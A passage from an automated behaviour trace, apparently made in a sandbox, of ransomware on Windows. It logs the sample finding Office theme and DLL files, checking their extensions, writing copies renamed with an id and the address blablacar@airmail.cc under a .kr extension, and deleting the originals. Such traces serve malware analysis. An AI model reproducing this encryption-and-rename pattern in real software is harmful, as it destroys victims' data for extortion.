Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0187.135] lstrlenW (lpString=".dbf") returned 4 [0187.135] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0187.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0187.135] lstrlenW (lpString=".1cd") returned 4 [0187.135] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0187.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0187.135] lstrlenW (lpString=".jpg") returned 4 [0187.135] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0187.135] lstrcmpiW (lpString1=".eftx", lpString2=".kr") returned -1 [0187.135] lstrlenW (lpString="Office 2007 - 2010.eftx") returned 23 [0187.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0187.138] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=45229) returned 1 [0187.138] CloseHandle (hObject=0x4d4) returned 1 [0187.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 0x220 [0187.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0187.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0187.139] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.139] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0187.141] GetLastError () returned 0x0 [0187.141] ReadFile (in: hFile=0x4d4, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0xb0ad, lpOverlapped=0x0) returned 1 [0187.197] WriteFile (in: hFile=0x544, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xb0b0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xb0b0, lpOverlapped=0x0) returned 1 [0187.198] ReadFile (in: hFile=0x4d4, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.198] WriteFile (in: hFile=0x544, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x102, lpOverlapped=0x0) returned 1 [0187.198] SetEndOfFile (hFile=0x544) returned 1 [0187.198] CloseHandle (hObject=0x544) returned 1 [0187.199] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.199] SetEndOfFile (hFile=0x4d4) returned 1 [0187.202] CloseHandle (hObject=0x4d4) returned 1 [0187.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0187.420] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 1 [0187.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0187.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0187.421] lstrlenW (lpString=".doc") returned 4 [0187.421] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0187.421] lstrlenW (lpString=".docx") returned 5 [0187.421] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0187.421] lstrlenW (lpString=".pdf") returned 4 [0187.421] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0187.421] lstrlenW (lpString=".xls") returned 4 [0187.421] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0187.421] lstrlenW (lpString=".xlsx") returned 5 [0187.421] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0187.421] lstrlenW (lpString=".ppt") returned 4 [0187.421] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0187.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0187.421] lstrlenW (lpString=".zip") returned 4 [0187.421] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0187.421] lstrlenW (lpString=".rar") returned 4 [0187.421] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0187.421] lstrlenW (lpString=".bz2") returned 4 [0187.421] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0187.421] lstrlenW (lpString=".7z") returned 3 [0187.422] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0187.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0187.422] lstrlenW (lpString=".dbf") returned 4 [0187.422] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0187.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0187.422] lstrlenW (lpString=".1cd") returned 4 [0187.422] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0187.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0187.422] lstrlenW (lpString=".jpg") returned 4 [0187.422] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0187.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0187.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0187.422] lstrlenW (lpString=".doc") returned 4 [0187.422] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0187.422] lstrlenW (lpString=".docx") returned 5 [0187.422] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0187.422] lstrlenW (lpString=".pdf") returned 4 [0187.422] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0187.422] lstrlenW (lpString=".xls") returned 4 [0187.422] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0187.422] lstrlenW (lpString=".xlsx") returned 5 [0187.422] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0187.422] lstrlenW (lpString=".ppt") returned 4 [0187.422] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0187.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0187.422] lstrlenW (lpString=".zip") returned 4 [0187.422] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0187.422] lstrlenW (lpString=".rar") returned 4 [0187.422] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0187.422] lstrlenW (lpString=".bz2") returned 4 [0187.422] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0187.422] lstrlenW (lpString=".7z") returned 3 [0187.423] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0187.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0187.423] lstrlenW (lpString=".dbf") returned 4 [0187.423] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0187.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0187.423] lstrlenW (lpString=".1cd") returned 4 [0187.423] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0187.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0187.423] lstrlenW (lpString=".jpg") returned 4 [0187.423] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0187.423] lstrcmpiW (lpString1=".eftx", lpString2=".kr") returned -1 [0187.423] lstrlenW (lpString="Top Shadow.eftx") returned 15 [0187.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0187.612] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=56944) returned 1 [0187.612] CloseHandle (hObject=0x4d8) returned 1 [0187.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 0x220 [0187.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0187.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0187.621] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.621] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0187.635] GetLastError () returned 0x0 [0187.635] ReadFile (in: hFile=0x538, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0xde70, lpOverlapped=0x0) returned 1 [0187.665] WriteFile (in: hFile=0x4d4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xde80, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xde80, lpOverlapped=0x0) returned 1 [0187.667] ReadFile (in: hFile=0x538, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.667] WriteFile (in: hFile=0x4d4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xf2, lpOverlapped=0x0) returned 1 [0187.668] SetEndOfFile (hFile=0x4d4) returned 1 [0187.668] CloseHandle (hObject=0x4d4) returned 1 [0187.668] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.668] SetEndOfFile (hFile=0x538) returned 1 [0187.673] CloseHandle (hObject=0x538) returned 1 [0187.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0187.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 1 [0187.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0187.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0187.674] lstrlenW (lpString=".doc") returned 4 [0187.674] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0187.674] lstrlenW (lpString=".docx") returned 5 [0187.674] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0187.674] lstrlenW (lpString=".pdf") returned 4 [0187.674] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0187.674] lstrlenW (lpString=".xls") returned 4 [0187.674] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0187.674] lstrlenW (lpString=".xlsx") returned 5 [0187.675] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0187.675] lstrlenW (lpString=".ppt") returned 4 [0187.675] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0187.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0187.675] lstrlenW (lpString=".zip") returned 4 [0187.675] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0187.675] lstrlenW (lpString=".rar") returned 4 [0187.675] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0187.675] lstrlenW (lpString=".bz2") returned 4 [0187.675] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0187.675] lstrlenW (lpString=".7z") returned 3 [0187.675] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0187.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0187.675] lstrlenW (lpString=".dbf") returned 4 [0187.675] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0187.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0187.675] lstrlenW (lpString=".1cd") returned 4 [0187.675] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0187.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0187.675] lstrlenW (lpString=".jpg") returned 4 [0187.675] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0187.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0187.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0187.675] lstrlenW (lpString=".doc") returned 4 [0187.675] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0187.676] lstrlenW (lpString=".docx") returned 5 [0187.676] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0187.676] lstrlenW (lpString=".pdf") returned 4 [0187.676] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0187.676] lstrlenW (lpString=".xls") returned 4 [0187.676] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0187.676] lstrlenW (lpString=".xlsx") returned 5 [0187.676] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0187.676] lstrlenW (lpString=".ppt") returned 4 [0187.676] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0187.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0187.676] lstrlenW (lpString=".zip") returned 4 [0187.676] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0187.676] lstrlenW (lpString=".rar") returned 4 [0187.676] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0187.676] lstrlenW (lpString=".bz2") returned 4 [0187.676] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0187.676] lstrlenW (lpString=".7z") returned 3 [0187.676] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0187.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0187.676] lstrlenW (lpString=".dbf") returned 4 [0187.676] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0187.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0187.676] lstrlenW (lpString=".1cd") returned 4 [0187.676] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0187.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0187.676] lstrlenW (lpString=".jpg") returned 4 [0187.676] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0187.677] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0187.677] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0187.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0187.683] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=18624) returned 1 [0187.683] CloseHandle (hObject=0x538) returned 1 [0187.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0187.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0187.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0187.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0187.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0187.684] lstrlenW (lpString=".doc") returned 4 [0187.684] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0187.684] lstrlenW (lpString=".docx") returned 5 [0187.684] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0187.684] lstrlenW (lpString=".pdf") returned 4 [0187.684] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0187.684] lstrlenW (lpString=".xls") returned 4 [0187.684] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0187.684] lstrlenW (lpString=".xlsx") returned 5 [0187.685] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0187.685] lstrlenW (lpString=".ppt") returned 4 [0187.685] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0187.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0187.685] lstrlenW (lpString=".zip") returned 4 [0187.685] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0187.685] lstrlenW (lpString=".rar") returned 4 [0187.685] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0187.685] lstrlenW (lpString=".bz2") returned 4 [0187.685] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0187.685] lstrlenW (lpString=".7z") returned 3 [0187.685] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0187.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0187.685] lstrlenW (lpString=".dbf") returned 4 [0187.685] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0187.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0187.685] lstrlenW (lpString=".1cd") returned 4 [0187.685] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0187.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0187.685] lstrlenW (lpString=".jpg") returned 4 [0187.685] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0187.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0187.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0187.685] lstrlenW (lpString=".doc") returned 4 [0187.685] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0187.686] lstrlenW (lpString=".docx") returned 5 [0187.686] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0187.686] lstrlenW (lpString=".pdf") returned 4 [0187.686] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0187.686] lstrlenW (lpString=".xls") returned 4 [0187.686] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0187.686] lstrlenW (lpString=".xlsx") returned 5 [0187.686] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0187.686] lstrlenW (lpString=".ppt") returned 4 [0187.686] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0187.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0187.686] lstrlenW (lpString=".zip") returned 4 [0187.686] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0187.686] lstrlenW (lpString=".rar") returned 4 [0187.686] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0187.686] lstrlenW (lpString=".bz2") returned 4 [0187.686] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0187.686] lstrlenW (lpString=".7z") returned 3 [0187.686] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0187.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0187.686] lstrlenW (lpString=".dbf") returned 4 [0187.686] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0187.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0187.686] lstrlenW (lpString=".1cd") returned 4 [0187.686] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0187.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0187.686] lstrlenW (lpString=".jpg") returned 4 [0187.687] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0187.687] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0187.687] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0187.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0187.687] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=18624) returned 1 [0187.688] CloseHandle (hObject=0x538) returned 1 [0187.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0187.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0187.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0187.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0187.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0187.688] lstrlenW (lpString=".doc") returned 4 [0187.688] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0187.688] lstrlenW (lpString=".docx") returned 5 [0187.688] 